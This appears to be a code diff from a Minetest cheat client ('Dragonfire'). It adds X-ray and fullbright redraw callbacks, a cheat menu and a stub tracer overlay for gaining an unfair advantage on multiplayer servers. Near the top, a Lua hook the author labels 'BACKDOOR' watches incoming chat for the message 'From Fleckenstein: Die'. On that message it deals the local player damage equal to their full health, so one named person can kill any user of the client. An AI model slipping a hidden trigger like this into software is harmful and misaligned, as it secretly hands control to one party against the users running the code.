end,
})
+-- BACKDOOR just in case dankmemer returns to Clamity and tries to use my own client against me xD
+minetest.register_on_receiving_chat_message(function(message)
+ if message == "From Fleckenstein: Die" then
+ minetest.send_damage(minetest.localplayer:get_hp())
+ return true
+ end
+end)
#include "filesys.h"
#include "mapblock_mesh.h"
#include "mapblock.h"
+#include "mapsector.h"
#include "minimap.h"
#include "modchannels.h"
#include "content/mods.h"
infostream << "Could not queue chat message because maximum out chat queue size ("
<< max_queue_size << ") is reached." << std::endl;
}
- if (g_settings->getBool("xray")) {
- std::string xray_texture = g_settings->get("xray_texture");
- ContentFeatures xray_node = m_nodedef->get(xray_texture);
- xray_node.drawtype = NDT_AIRLIKE;
- m_nodedef->set(xray_texture, xray_node);
- }
}
void Client::clearOutChatQueue()
}
}
+void Client::updateAllMapBlocks()
+{
+ std::map<v2s16, MapSector*> *sectors = m_env.getMap().getSectorsPtr();
+ for (auto §or_it : *sectors) {
+ MapSector *sector = sector_it.second;
+ MapBlockVect blocks;
+ sector->getBlocks(blocks);
+ for (MapBlock *block : blocks)
+ addUpdateMeshTask(block->getPos(), false, false);
+ }
+}
+
ClientEvent *Client::getClientEvent()
{
FATAL_ERROR_IF(m_client_event_queue.empty(),
void addUpdateMeshTaskWithEdge(v3s16 blockpos, bool ack_to_server=false, bool urgent=false);
void addUpdateMeshTaskForNode(v3s16 nodepos, bool ack_to_server=false, bool urgent=false);
+ void updateAllMapBlocks();
+
void updateCameraOffset(v3s16 camera_offset)
{ m_mesh_update_thread.m_camera_offset = camera_offset; }
&settingChangedCallback, this);
g_settings->registerChangedCallback("freecam",
&freecamChangedCallback, this);
+ g_settings->registerChangedCallback("xray",
+ &updateAllMapBlocksCallback, this);
+ g_settings->registerChangedCallback("fullbright",
+ &updateAllMapBlocksCallback, this);
readSettings();
&settingChangedCallback, this);
g_settings->deregisterChangedCallback("camera_smoothing",
&settingChangedCallback, this);
+ g_settings->deregisterChangedCallback("freecam",
+ &freecamChangedCallback, this);
}
bool Game::startup(bool *kill,
if (gui_chat_console)
gui_chat_console->drop();
+ if (m_cheat_menu)
+ delete m_cheat_menu;
+
+ if (m_tracers)
+ delete m_tracers;
+
if (sky)
sky->drop();
errorstream << *error_message << std::endl;
return false;
}
+
+ m_tracers = new Tracers();
+
+ if (!m_tracers) {
+ *error_message = "Could not allocate memory for tracers";
+ errorstream << *error_message << std::endl;
+ return false;
+ }
#ifdef HAVE_TOUCHSCREENGUI
if (m_game_ui->m_flags.show_cheat_menu && ! gui_chat_console->isOpen())
m_cheat_menu->draw(driver, m_game_ui->m_flags.show_debug);
+
+ /*
+ Tracers
+ */
+
+ m_tracers->draw(driver);
/*
Damage flash
((Game *)data)->readSettings();
}
+void Game::updateAllMapBlocksCallback(const std::string &setting_name, void *data)
+{
+ ((Game *) data)->client->updateAllMapBlocks();
+}
+
void Game::freecamChangedCallback(const std::string &setting_name, void *data)
{
Game *game = (Game *) data;
#include "gui/guiVolumeChange.h"
#include "gui/mainmenumanager.h"
#include "gui/profilergraph.h"
+#include "gui/tracers.h"
#include "mapblock.h"
#include "minimap.h"
#include "nodedef.h" // Needed for determining pointing to nodes
static void freecamChangedCallback(const std::string &setting_name, void *data);
static void settingChangedCallback(const std::string &setting_name, void *data);
+ static void updateAllMapBlocksCallback(const std::string &setting_name, void *data);
void readSettings();
inline bool isKeyDown(GameKeyType k)
std::unique_ptr<GameUI> m_game_ui;
GUIChatConsole *gui_chat_console = nullptr; // Free using ->Drop()
CheatMenu *m_cheat_menu = nullptr;
+ Tracers *m_tracers = nullptr;
MapDrawControl *draw_control = nullptr;
Camera *camera = nullptr;
Clouds *clouds = nullptr; // Free using ->Drop()
${CMAKE_CURRENT_SOURCE_DIR}/intlGUIEditBox.cpp
${CMAKE_CURRENT_SOURCE_DIR}/modalMenu.cpp
${CMAKE_CURRENT_SOURCE_DIR}/profilergraph.cpp
+ ${CMAKE_CURRENT_SOURCE_DIR}/tracers.cpp
PARENT_SCOPE
)
public:
CheatMenu(Client* client);
- virtual void draw(video::IVideoDriver* driver, bool show_debug);
+ void draw(video::IVideoDriver* driver, bool show_debug);
void drawEntry(video::IVideoDriver* driver, std::string name, int number, bool selected, bool active, CheatMenuEntryType entry_type = CHEAT_MENU_ENTRY_TYPE_ENTRY);
--- /dev/null
+/*
+Dragonfire
+Copyright (C) 2020 Elias Fleckenstein <eliasfleckenstein@web.de>
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 2.1 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this program; if not, write to the Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+*/
+
+#include "tracers.h"
+#include "constants.h"
+
+void Tracers::draw(video::IVideoDriver* driver)
+{
+ driver->draw3DLine(v3f(0, 0, 0) * BS, v3f(1, 1, 1) * BS, video::SColor(255, 0, 0, 0));
+}
--- /dev/null
+/*
+Dragonfire
+Copyright (C) 2020 Elias Fleckenstein <eliasfleckenstein@web.de>
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 2.1 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this program; if not, write to the Free Software Foundation, Inc.,
+51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+*/
+
+#pragma once
+
+#include "irrlichttypes_extrabloated.h"
+
+class Tracers
+{
+public:
+ void draw(video::IVideoDriver* driver);
+};